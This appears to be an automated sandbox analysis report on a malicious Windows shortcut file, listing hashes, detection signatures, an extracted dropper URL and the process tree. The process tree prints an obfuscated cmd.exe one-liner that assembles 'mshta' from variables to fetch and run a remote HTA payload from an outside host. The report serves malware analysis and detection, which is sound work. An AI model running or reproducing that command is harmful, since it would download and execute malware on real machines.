Analysis
- max time kernel
150s - max time network
114s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/08/2026, 08:20
Static task
static1
Behavioral task
behavioral1
Sample
DOC-M793QN.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-M793QN.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-M793QN.lnk
- Size 1KB
- Sample260804-j8tk9aga55
- SHA256 e2e8d71d596376d1ae11e35ea82361ba199b3c63dd979240bf53811b9b30bc06
- MD5 d6bec868493e14d4fd4bbaa82d1cf811
- SHA1 320c8185a914a1ee60f1c6021359fb3cf64e9b3f
- SHA512 4bc1f67ad0294d10fcf1b6873f3b04c861d9f955c6d0d39cdc925ee7088240a5266bfe74490191fc0c3a4a3ce6080d1d4f35bec5c5cc0f422f61ef61cc00778e
- TLSH T11C31CB103FED0624F3F39F73A9BB572089BBB8959D20CA2D42414A0C1032A15E57AF6B
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 1160 cmd.exe 4144 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4144 wrote to memory of 1160 4144 cmd.exe 91 PID 1160 wrote to memory of 5760 1160 cmd.exe 92
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-M793QN.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4144 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /C "set cbfH=msh&&set Kflab=ta&&start "" !cbfH!!Kflab! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1160 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:5760
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